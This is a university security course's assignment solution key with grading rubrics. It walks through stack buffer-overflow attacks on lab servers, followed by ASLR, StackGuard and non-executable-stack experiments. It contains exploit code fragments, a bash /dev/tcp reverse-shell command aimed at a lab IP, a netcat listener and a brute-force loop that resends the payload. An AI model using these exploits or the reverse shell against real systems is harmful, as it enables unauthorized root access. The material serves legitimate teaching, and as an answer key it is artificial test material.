Assignment-05-Solutions

SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 Part I Assignment Challenge 1 Introduction Imagine that you work for a large software development firm called SecureTech Industries . The organization has just received a major investment to hire a significant number of new quality assurance engineers. Because the development of secure software and systems is a top priority for SecureTech Industries , the organization is launching an initiative to develop a penetration testing training program for new hires (trainees). Your direct supervisor has just assigned you to prepare the training materials related to buffer overflow vulnerabilities and countermeasures that will be provided to all new hires. The details of the assignment, including your supervisor’s expectations, are provided in the sections below. The different parts of this assignment are designed to guide your investigation and to prepare the different aspects for the training materials. At the end of the assignment, you will be required to summarize the take-away points for new hires so that they can better understand buffer overflow vulnerabilities, attacks, and countermeasures. 2 Context Your supervisor has sent you the following email explaining what is expected for the training materials: Hello, I am sure by now that you have seen the latest memo indicating that we have secured a large investment to hire a new batch of quality assurance engineers. You would have also seen that we need to prepare a new set of penetration testing training materials as part of the upgraded security training program that comes with this investment. This means we have lots of work to do. I need you to prepare the training materials for the buffer overflow training module for our new hires. I have asked the senior development team to provide some sample code to help with this task. This sample code, along with what you develop, will be provided as part of the training package that is provided to new hires. It will enable them to get their hands dirty by trying out a few different approaches for learning how to exploit buffer overflow vulnerabilities on server programs and for understanding the different countermeasures that can be be put in place to prevent them. We want our new hires to be aware of the potential ways in which they can get root shells can by conducting buffer overflow attacks, as well as the ways in which buffer overflow countermeasures work and their relative strengths and weaknesses. The training materials that you prepare need to be well-organized and provide very detailed steps of how to conduct the different experiments that we want the new hires to carry out as part of their hands-on training. The new hires should be able to do everything based on the report that you prepare and enable them to perform self-checks to ensure that they are successful in completing the experiments. This means you should provide screenshots and code fragments to help them understand what they should expect in terms of the outcomes of their experiments. Effectively, you should think of preparing your report as a complete walkthrough of the various experiments and tasks. I know I can count on you for this. Thanks, JJ Page 3 of 26

SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 2 The Vulnerable Program The vulnerable program used in this assignment is called stack.c , which is in the server-code folder. This program has a buffer-overflow vulnerability. Throughout this assignment, your job is to exploit this vulnerability and gain the root privilege on the server machines. The code listed below has some non-essential information removed, so it is slightly different from what is provided in the setup files. 1 #include <stdlib.h> 2 #include <stdio.h> 3 #include <string.h> 4 5 /* Changing this size will change the layout of the stack. */ 6 #ifndef BUF_SIZE 7 #define BUF_SIZE 100 8 #endif 9 10 int bof( char *str) 11 { 12 char buffer[BUF_SIZE]; 13 14 /* The following statement has a buffer overflow problem */ 15 strcpy(buffer, str); 16 17 return 1; 18 } 19 20 int main( int argc, char **argv) 21 { 22 char str[517]; 23 24 int length = fread(str, sizeof ( char ), 517, stdin); 25 bof(str); 26 fprintf(stdout, "==== Returned Properly ====\n" ); 27 return 1; 28 } The above program has a buffer overflow vulnerability. It reads data from the standard input, and then passes the data to another buffer in the function bof() . The original input can have a maximum length of 517 bytes, but the buffer in bof() is only BUF_SIZE bytes long, which is less than 517. Because strcpy() does not check boundaries (Line 15), buffer overflow will occur. The program will run on a server with the root privilege, and its standard input will be redirected to a TCP connection between the server and a remote user. Therefore, the program actually gets its data from a remote user. If users can exploit this buffer overflow vulnerability, they can get a root shell on the server. 2.1 Compilation To compile the above vulnerable program, we need to turn off the StackGuard and the non-executable stack protections using the -fno-stack-protector and -z execstack options. The following is an example of the compilation command (the L1 environment variable sets the value for the BUF_SIZE constant inside stack.c ). $ gcc -DBUF_SIZE=$(L1) -o stack -z execstack -fno-stack-protector stack.c The stack program will be compiled into both 32-bit and 64-bit binaries. The VM environment is a 64-bit VM, but it still supports 32-bit binaries. All we need to do is to use the -m32 option in the gcc command. Page 6 of 26

SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 Part III Buffer Overflow Attacks 1 Introduction Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed length buffers. This vulnerability can be used by a malicious adversary to alter the flow control of the program, leading to the execution of malicious code. This vulnerability arises due to the mixing of the storage for data (e.g., buffers) and the storage for controls (e.g., return addresses): an overflow in the data part can affect the control flow of the program, because an overflow can change the return address. The objective of this assignment is for you to gain practical insights into this type of vulnerability, and learn how to exploit the vulnerability in attacks. In this assignment, you will develop a report that can serve as a training manual for the new hires (trainees) of SecureTech Industries that will provide hands-on experience with buffer overflow vulnerabilities and attacks. Your task is to develop the step-by-step procedures to be included in the training manual that will enable trainees to to exploit the vulnerability on the provided server programs and finally gain a reverse shell with root privileges. In addition to the attacks, the training manual should also explore several protection schemes that have been implemented in the operating system to counter against buffer overflow attacks. Your training materials are required to evaluate whether the schemes work or not and explain why to help the trainees better understand the strengths and limitations of these different defenses. 2 Background 2.1 Execution Stacks and Memory Addressing In this section, we briefly summarize some of the important guidelines regarding execution stacks and memory addressing that are required for understanding buffer overflow attacks, how they work, and how to launch such an attack. 2.1.1 Stack Layout To execute the shellcode in the execution stack, we need the instruction pointer to point to it. One thing we can do to accomplish this is to change the return address to point to the shellcode. But we have two problems: (1) we do not know where the return address is stored, and (2) we do not know where the shellcode is stored. To answer these questions, we need to understand the stack layout when the execution enters a function. Figure 1 gives an example of stack layout during a function invocation. 2.1.2 Finding the Address of the Malicious Code To be able to jump to our malicious code, we need to know the memory address of the malicious code. Unfortunately, we do not know where exactly our malicious code is. We only know that our code is copied into the target buffer on the stack, but we do not know the buffer’s memory address, because its exact location depends on the program’s stack usage. If you can accurately calculate the address of buffer[] , you should be able to accurately calculate the starting point of the malicious code. Even if you cannot accurately calculate the address (for example, for remote programs), you can still guess . In theory, the entire search space for a random guess is 2 32 addresses (for a 32-bit machine), but in practice, the space is much smaller. Two facts make the search space small and that make guessing a feasible approach. First, before countermeasures are introduced, most operating systems place the stack (each process has one) at a fixed starting address. It should be noted that the address is a virtual address, which is mapped to a different Page 9 of 26

SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 a range between 10 to 100. The attacker would like to construct one payload, so regardless what the buffer address is, as long as it is within the specified range, the payload can successfully exploit the vulnerability. In this case, the attacker can still use the spraying technique to construct the first 120 bytes of the buffer, and put 150 bytes of NOP afterward, followed by the malicious code. Therefore, if the buffer’s address is X , the NOP section will be in the range of [X + 120, X + 270] . However, the attacker does not know X , and therefore they do not know the exact range for the NOP section. Since X is in the range of [A, A + 100] , the attacker can enumerate all the possible values for X , and see where their NOP sections are as shown below: Buffer Address NOP Section A [A + 120, A + 270 ] A+4 [A + 124, A + 274] A+8 [A + 128, A + 278] . . . . . . A+100 [ A + 220 , A + 370] To find a NOP that works for all the possible buffer addresses, the NOP must be in the conjunction of all the NOP sections shown above. That will be [A + 220, A + 270] . Namely, any address in this range can be used for the return address. Let us generalize what we have just discussed regarding the return address value that can be used in the attack. Assume that the buffer address is within the range of [A, A + H] , the first S bytes of the buffer are used for the spraying, and the next L bytes of the buffer are filled with the NOP instruction (the NOP section). • If the buffer’s actual starting address is X = A , the NOP section’s range will be [A + S, A + S + L] . Any number in this range can be used for the return address. • If the buffer’s actual starting address is X = A + 4 , the NOP section’s range will be [(A + 4) + S , (A + 4) + S + L] . Any number in this range can be used for the return address. • If the buffer’s actual starting address is X = A + H , the NOP section’s range will be [(A + H) + S , (A + H) + S + L] . Any number in this range can be used for the return address. Figure 3 depicts the idea. If we want to find an return address value that works for all the possible buffer addresses, it must be in the conjunction of all the ranges for X = A, A+4, ..., A+H . From Figure 3 , we can see that the conjunction is [A + H + S, A + S + L) . Any number in this range can be used for the return address. Difficulties arise when H is larger than L , i,e., the lower bound of the above range is larger than the upper bound. In this case, the range is impossible, and no value for the return address can satisfy all the buffer addresses. Intuitively speaking, if the range of the buffer address is too large, but the space to put NOP instructions is too small, the attacker will not be able to find a solution. To have at least one solution, the relationship H < L must hold. Since L is decided by the payload size, which depends on how many bytes the vulnerable program can take from the attacker, the attacker cannot arbitrarily increase L to satisfy the inequality. Similarly, the attacker cannot reduce the width H of the specified range for the buffer address. However, they we can break the range into smaller subranges, each of which has a smaller width H’ . As long as H’ is less than L , the attacker can find a solution. Basically, if the range is too wide, the attacker can break it into smaller subranges, and then construct a malicious payload for each of the subranges. 2.2 Root Shells A shell is a program that provides the traditional, text-only user interface for Unix-like operating systems. Its primary function is to read commands that are typed into a console or terminal window and then execute them. A shell that operates with root privileges is called a root shell . A root shell is denoted by the # prompt rather than the non-root $ prompt. Page 12 of 26

SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 If we want the shellcode to run some other commands, we just need to modify the command string in Line 7. However, when making changes, we need to make sure not to change the length of this string, because the starting position of the placeholder for the argv[] array, which is right after the command string, is hardcoded in the binary portion of the shellcode. If we change the length, we need to modify the binary part. To keep the asterisk ( * ) at the end of this string at the same position, you can add or delete spaces. You can find the generic shellcode in the shellcode folder of the setup files. Inside, you will see two Python programs, shellcode_32.py and shellcode_64.py . They are for 32-bit and 64-bit shellcode, respectively. These two Python programs will write the binary shellcode to codefile_32 and codefile_64 , respectively. You can then use call_shellcode to execute the shellcode in them. // Generate the shellcode binary $ ./shellcode_32.py // generate codefile_32 $ ./shellcode_64.py // generate codefile_64 // Compile call_shellcode.c $ make // generate a32.out and a64.out // Test the shellcode $ a32.out // execute the shellcode in codefile_32 $ a64.out // execute the shellcode in codefile_64 (a) [5 points] Compile and run the shellcode provided in the shellcode folder of the setup files. Explain what the shellcode is doing for both the 32-bit case and the 64-bit case. In your assignment report, make sure to explain how to compile and run the shellcode and include screenshots showing the results of executing the shellcode. Solution: Award 1 point for explaining how to compile and run the shellcode. Award 1 point for explaining what the 32-bit version of the shellcode does. Award 1 point for explaining what the 64-bit version of the shellcode does. Award 1 point for appropriate screenshots of the 32-bit case. Award 1 point for appropriate screenshots of the 64-bit case. Students should provide an appropriate explanation of the commands used to compile the 32 -bit and 64-bit version of the shellcode. Students should observe that the shellcode prints hello and then the last 2 lines of the user database ( /etc/passwd ) file (for the 32-bit case) and the last 4 lines of the user database (for the 64-bit case). Students should demonstrate their observations with suitable screenshots and explanations. (b) [5 points] Modify the shellcode so that you can use it to create a file called infected.txt on the Desktop. In your assignment report, please include your modified the shellcode as well as an explanation of the modifications. Do not forget to also include screenshots showing the results of executing your modified shellcode. Solution: Award 1 point for a modification to the shellcode that changes the directory to the Desktop. Award 1 point for a suitable explanation of the modification. Award 1 point for a modification to the shellcode that creates a file called infected.txt . Award 1 point for a suitable explanation of the modification. Award 1 point for appropriate screenshots of results. Students should change Line 7 of the shellcode provided in the problem to: "cd ~/Desktop; /bin/touch infected.txt *" Note that students may use different commands, but the overall effect should be the same. Students should demonstrate their observations with suitable screenshots and explanations. Page 15 of 26

SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 (b) [5 points] For the training program, SecureTech Industries is not interested in running specific pre-determined commands. Instead, they want the trainees to be able to get a root shell on the target server, so they can type any command they want. Since you are on a remote machine, if you simply get the server to run /bin/sh , you won’t be able to control the shell program. A reverse shell is a typical technique to solve this problem. Section 2.3 provides detailed instructions on how to run a reverse shell. Please modify the command string in your shellcode, so you can get a reverse shell on the target server. Please provide appropriate screenshots to show that you can successfully get a reverse shell. NOTE : Please remember to start a netcat server (see Section 2.3 ) in a separate terminal window on the VM (i.e., the attacker machine). Solution: Award 1 point for explaining the changes to the shellcode with the revsere shell command. Award 1 point for explaining that a netcat server was started with appropriate code snippets and/or screenshots. Award 1 point for explaining the steps to conduct the attack. Award 2 points for demonstrating the successful attack a reasonable explanation of the observations and appropriate code snippets and/or screenshots. Students should replace the command in their shellcode with the following reverse shell command: "/bin/bash -i >/dev/tcp/10.9.0.1/9090 0<&1 2>&1 *" Before running the exploit-L1.py script again, students need to start the netcat server (using nc -nv -l 9090 ) in a separate terminal. After running the exploit-L1.py script again, students should observe that as soon as we send the payload is sent to the server, a callback is received from the server, and it shows that we get a root shell on the server machine ( 10.9.0.5 ). Students should demonstrate the steps and outcomes of their attacks with suitable screenshots and explanations. Problem 3 [10 points] Attacking a 32-bit Server Program: Knowing the Range of the Buffer Size (Level-2): In this problem, we are going to increase the difficulty of the attack a little bit by not displaying an essential piece of the information. The target server is 10.9.0.6 (the port number is still 9090 , and the vulnerable program is still a 32-bit program). When a benign message is sent to this server, you will see the following messages printed out by the target container (the actual messages you see may be different). // On the VM (i.e., the attacker machine) $ echo hello | nc 10.9.0.6 9090 Ctrl+C // Messages printed out by the container server-2-10.9.0.6 | Got a connection from 10.9.0.1 server-2-10.9.0.6 | Starting stack server-2-10.9.0.6 | Input size: 6 server-2-10.9.0.6 | Buffer’s address inside bof(): 0xffffda3c server-2-10.9.0.6 | ==== Returned Properly ==== As you can see, the server only gives the address of the buffer; it does not reveal the value of the frame pointer. This means, the size of the buffer is unknown to you. That makes exploiting the vulnerability more difficult than the Level-1 attack in Problem 2. To simplify the task, we assume that the the range of the buffer size is known. Another fact that may be useful to you is that, due to the memory alignment, the value stored in the frame pointer is always multiple of four (for 32-bit programs). Range of the buffer size (in bytes): [100, 300] Page 18 of 26

SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 # Put the shellcode near the beginning of the buffer start = 40 content[start:start+ len (shellcode)] = shellcode # From server: &buffer = 0x00007fffffffdff0 # From server: $rbp - &buffer = 208 ret = 0x7fffffffdff0 offset = 208 + 8 L = 8 # Use 4 for 32-bit address and 8 for 64-bit address content[offset:offset + L] = (ret).to_bytes(L,byteorder= ’little’ ) In this example solution, it should be noted that there are two zeros in ret ’s value. Fortunately, for a Little-Endian machine, the zeros are put at the higher address like this: f0 df ff ff ff 7f 00 00 (from how to high). The strcpy() function will copy up to 7f ; anything after that will not be copied to the buffer inside bof . This is the reason why we put everything, including the shellcode, before the return address. Before running the exploit-L3.py script, students need to start the netcat server (using nc -nv -l 9090 ) in a separate terminal. After running the exploit-L3.py script, students should observe that as soon as we send the payload is sent to the server, a callback is received from the server, and it shows that we get a root shell on the server machine ( 10.9.0.7 ). Students should demonstrate the steps and outcomes of their attacks with suitable screenshots and explanations. Problem 5 [11 points] Attacking a 64-bit Server Program: Dealing with a Small Buffer (Level-4): The server in this task is similar to that in the Level-3 attack in Problem 4, except that the buffer size is much smaller. The target for this problem is 10.9.0.8 . When a benign message is sent to this server, you will see the following messages printed out by the target container (the actual messages you see may be different). // On the VM (i.e., the attacker machine) $ echo hello | nc 10.9.0.8 9090 Ctrl+C // Messages printed out by the container server-4-10.9.0.8 | Got a connection from 10.9.0.1 server-4-10.9.0.8 | Starting stack server-4-10.9.0.8 | Input size: 6 server-4-10.9.0.8 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe1b0 server-4-10.9.0.8 | Buffer’s address inside bof(): 0x00007fffffffe190 server-4-10.9.0.8 | ==== Returned Properly ==== From the printout, you can see the distance between the frame pointer and the buffer’s address is only about 32 bytes (the actual distance may be different). In Problem 4, the distance was much larger. In this problem, your goal is the same: get a root shell on this server. The server still takes in 517 bytes of input data from the user. In your assignment report, please be sure to explain all steps taken to conduct the attack and provide appropriate screenshots to show that you can successfully get the vulnerable server to run your commands. Page 21 of 26

SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 HINT : To solve this problem, you need to think about what the layout of the execution stack for the vulnerable stack.c looks like. You can look at the stack.c code in the server-code folder of the setup files for this assignment for some hints. Solution: Award 1 point for demonstrating that a benign hello message was sent to the server. Award 2 points for determining where to put the shellcode in the buffer (1 point for code, 1 point for explanation). Award 2 points for determining the appropriate return address (1 point for code, 1 point for explanation). Award 2 points for determining the appropriate offset (1 point for code, 1 point for explanation). Award 1 point for selecting L=8 for the 64-bit address case in the code. Award 1 point for explaining that a netcat server was started with appropriate code snippets and/or screenshots. Award 2 points for demonstrating the successful attack a reasonable explanation of the observations and appropriate code snippets and/or screenshots. Students should begin by sending a benign hello message to the server. This will allow them to determine the values of the frame pointer ( rbp ) and the address of the buffer &buffer . Suppose we see the following results: server-4-10.9.0.8 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe0c0 server-4-10.9.0.8 | Buffer’s address inside bof(): 0x00007fffffffe060 We can see that the distance between rbp and buffer is only 96 bytes. This is too small to hold the shellcode (the size of the shellcode is about 160 bytes). Therefore, the technique used in the previous problem (Level-3) does not work for this attack, so we need to find another way to put the shellcode in the buffer. Actually, the shellcode is already on the stack, but it is in the main function’s stack frame, not in bof() . Therefore, we just need to set the return address to the main function’s stack frame. This requires some calculation. There is a dummy stack frame between bof() and main() corresponding to dummy_function() in stack.c , and its size is about 1000 bytes. Therefore, we can add 1200 to the rbp value ( students may have to try different values here ). That should land inside the input buffer, hitting one of the NOP s which will eventually lead to the shellcode. Using this information, students should make the following modifications to construct exploit-L4.py . # Put the shellcode at the end start = 517 - len (shellcode) content[start:start + len (shellcode)] = shellcode # From server: $rbp = 0x00007fffffffe0c0 ret = 0x7fffffffe0c0 + 1200 # From server: $rbp - &buffer = 96 offset = 96 + 8 L = 8 # Use 4 for 32-bit address and 8 for 64-bit address content[offset:offset + L] = (ret).to_bytes(L,byteorder= ’little’ ) Before running the exploit-L4.py script, students need to start the netcat server (using nc -nv -l 9090 ) in a separate terminal. After running the exploit-L4.py script, students should observe that as soon as we send the payload is sent to the server, a callback is received from the server, and it shows that we get a root shell on the server machine ( 10.9.0.8 ). Students should demonstrate the steps and outcomes of their attacks with suitable screenshots and explanations. Page 22 of 26

SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 Problem 6 [8 points] Experimenting with the Address Randomization: At the beginning of this assignment, we turned off one of the countermeasures, the Address Space Layout Randomization (ASLR). In this problem, we will turn it back on, and see how it affects the attack. You can run the following command on your VM to enable ASLR. This change is global, and it will affect all the containers running inside the VM. $ sudo /sbin/sysctl -w kernel.randomize_va_space=2 (a) [5 points] Send a hello message to the Level-1 and Level-3 servers, and do it multiple times. In your assignment report, please describe your observations, and explain why ASLR makes a buffer-overflow attack more difficult. Do not forget to show that address randomization is turned on and to include screenshots of your observations to aid in your explanation. HINT : Make sure you are using the reverse shell command in the shellcode instead of an echo command. The echo command will not block, so even if the attack succeeds, it will be hard for you to know. The reverse shell command will block if it is successfully executed. Solution: Award 1 point for demonstrating that address randomization is turned on. Award 1 point for executing the attack multiple times on each of the Level-1 server. Award 1 point for executing the attack multiple times on each of the Level-3 server. Award 2 points for a reasonable explanation of the observations with appropriate code snippets and/or screenshots. Students should show that they have enabled the address randomization. Students should generate badfile using exploit-L1.py and exploit-L3.py . They should make sure that the reverse shell command is used. Students should observe that they are unable to get a root shell this time and the program should return a Segmentation fault error. Due to address randomization, each time the program is executed, the stack begins at a different location in the virtual address space of the program. This causes the program to generate a different buffer address. In each program execution, when the buffer overflow talkes place, it overwrites the return address with a hard-coded address. With address randomization turned off, this is the address of one of the NOP instructions. When address randomization is turned on, this address could refer to some other region of the virtual address space, like the code region, the kernel region, etc. This causes the program to crash with Segmentation fault when it jumps to that address on return of the bof() function. Students should provide adequate explanation of their process and results with appropriate code snippets and/or screenshots. (b) [3 points] It was reported that on 32-bit Linux machines, only 19 bits can be used for address randomization. That is not enough, and an attacker can easily hit the target if the attack is conducted for a sufficient number of times. For 64-bit machines, the number of bits used for randomization is significantly increased. In this problem, you will give it a try on the 32-bit Level-1 server. You can use a brute-force approach to attack the server repeatedly, hoping that the address we put in our payload can eventually be correct. Make sure to use the payload from the Level-1 attack (Problem 2). You can use the following shell script to run the vulnerable program in an infinite loop. If you get a reverse shell, the script will stop; otherwise, it will keep running. If you are not so unlucky, you should be able to get a reverse shell within 10 minutes. Please describe your observation. Do not forget to include appropriate code snippets and/or screenshots. NOTE : You may need to change the permissions of the script (using chmod ) so it can be executed. #!/bin/bash SECONDS=0 value=0 Page 23 of 26

SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 while true ; do value=$(( $value + 1 )) duration=$SECONDS min=$(($duration / 60)) sec=$(($duration % 60)) echo "$min minutes and $sec seconds elapsed." echo "The program has been running $value times so far." cat badfile | nc 10.9.0.5 9090 done Solution: Award 1 point for running the script to conduct a brute-force attack on the vulnerable program. Award 2 points for a reasonable explanation of the observations with appropriate code snippets and/or screenshots. To defeat address randomization, students should run brute_force.sh . After some time, the program gets blocked. On executing the given script and look at the nc window, students should observe that after running the program many times, they should be able to obtain a root shell. This is because out of several tries, during one of the tries, the stack will begin at the address where it begins when the randomization is turned off. Students should provide adequate screenshots and/or explanation showing how many times the script executed and the elapsed time taken to succeed in the attack. Problem 7 [5 points] Experimenting with the StackGuard Protection: Many compilers, such as gcc , implement a security mechanism called StackGuard to prevent buffer overflows. In the presence of this protection, buffer overflow attacks will not work. The provided vulnerable programs were compiled without enabling the StackGuard protection. In this problem, you will turn it on and see what happens. Please go to the server-code folder, remove the -fno-stack-protector flag from the gcc flag, and compile stack.c . In this problem, you will only use stack-L1 , but instead of running it in a container, you should directly run it from the command line. Create a file that can cause a buffer overflow, and then feed the content of the file to stack-L1 using the command below: $ ./stack-L1 < badfile Please describe and explain your observations. You may report any error messages you observe. Do not forget to explain all of your steps and to include appropriate code snippets and/or screenshots so that someone reading your report will know what to expect when repeating your experiment. NOTE : Before working on this problem, remember to turn off the address randomization first (see Section 3.1 ), or you will not know which defense mechanism helps achieve the protection. Solution: Award 1 point for explaining how to compile stack-L1 . Award 1 point for explaining how the badfile was created. Award 1 point for showing what happens when the program is executed. Award 2 points for a reasonable explanation of the observations with appropriate code snippets and/or screenshots. Students should create badfile using exploit-L1.py . Students should explain how stack-L1 was obtained from stack.c compiled without the -fno-stack-protector option which will enable StackGuard . Students should observe that they are unable conduct an attack and that they receive a message stating *** stack smashing detected *** . With the StackGuard enabled, there is a special value added before the return address in the stack frame. Before the program uses the return address to return from the bof() function, the value will Page 24 of 26

SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 be compared to a global variable stored in the GS segment. If the values mismatch due to a buffer overflow, the system will crash the program. This is why the program crashes with the message *** stack smashing detected *** indicating that the StackGuard was able to recognize a buffer overflow situation. Students should demonstrate their findings with suitable screenshots and explanations. Problem 8 [5 points] Experimenting with the Non-executable Stack Protection: Operating systems used to allow executable stacks, but this has now changed: In the Ubuntu OS, the binary images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide whether to make the stack of this running program executable or non-executable. This marking is done automatically by the gcc, which by default makes stack non-executable. We can specifically make it non-executable using the -z noexecstack flag in the compilation. In the previous problems, we used -z execstack to make stacks executable. In this problem, you will make the stack non-executable. You should conduct this experiment in the shellcode folder from the setup files. The call_shellcode program puts a copy of shellcode on the stack, and then executes the code from the stack. Please recompile call_shellcode.c into a32.out and a64.out , using the -z noexecstack option. Run them, and describe and explain your observations. In particular, explain whether or not you were able to get a shell. If not, explain the problem by describing how this protection scheme make your attacks difficult. Do not forget to explain all of your steps and to include appropriate code snippets and/or screenshots. NOTE : Before working on this problem, remember to turn off the address randomization first (see Section 3.1 ), or you will not know which defense mechanism helps achieve the protection. Solution: Award 1 point for explaining how the call_shellcode.c was recompiled. Award 1 point for showing what happens when a32.out is executed. Award 1 point for showing what happens when a64.out is executed. Award 2 points for a reasonable explanation of the observations with appropriate code snippets and/or screenshots. Students should explain how call_shellcode.c using the -z noexecstack option. Students should execute both a32.out and a64.out . Students should observe that since the stack is not executable, even if we overflow the buffer and attempt to jump to the target executable instruction address, the CPU will not execute it. More specifically, when the program is compiled with a non-executable stack, it should terminate with a Segmentation fault . This is because when the CPU attempts to execute instructions from a non-executable memory, the memory management unit (MMU) checks the execute permission and generates a trap when not found. When the operating system receives this trap, it sends a Segmentation fault signal to the process that causes the program termination. Students should demonstrate their findings with suitable screenshots and explanations. Page 25 of 26

SYSC 4810 — Module 5 Assignment Due Date: November 28, 2021 Part IV Summary of Findings 1 Reminder: Obligations At the end of this assignment, you will be required to deliver the following information and outcomes: 1. A report that can act as a training manual for new hires to better understand buffer overflow vulnerabilities, attacks, and countermeasures. The report should be a complete walkthrough providing a detailed explanation of all of the steps involved in carrying out the various activities and tasks that will be part of the penetration testing training program module related to buffer overflows. 2. A summary of the main take-away points of the training module, including a list of recommendations (“do’s and don’ts”), so that the trainees can be better prepared to protect their programs from buffer overflow vulnerabilities. 2 Problems and Tasks Problem 9 [10 points] Recommendations: Summarize the take-away points for the SecureTech Industries trainees after having conducted all of the other activities and tasks in your training module. Be sure to clearly state what they should remember about buffer overflow vulnerabilities and attacks, and the various countermeasures that can be used to protect programs from buffer overflow. Do not forget to summarize any ways which buffer overflow countermeasures can be defeated. Provide a short list of recommendations (“do’s and don’ts”) so that the trainees can be better prepared to carry out attacks exploiting buffer overflow vulnerabilities as well as to protect their programs from buffer overflow vulnerabilities. HINT: You may want to refer to specific observations from your experiments obtained in the problems and tasks in this assignment to support your summary and recommendations. Solution: Award 5 points for a suitable summary of the take-away points. Award 5 points for suitable recommendations. Students may have many different answers. Points should be awarded for a reasonable summary and recommendations. END OF ASSIGNMENT Page 26 of 26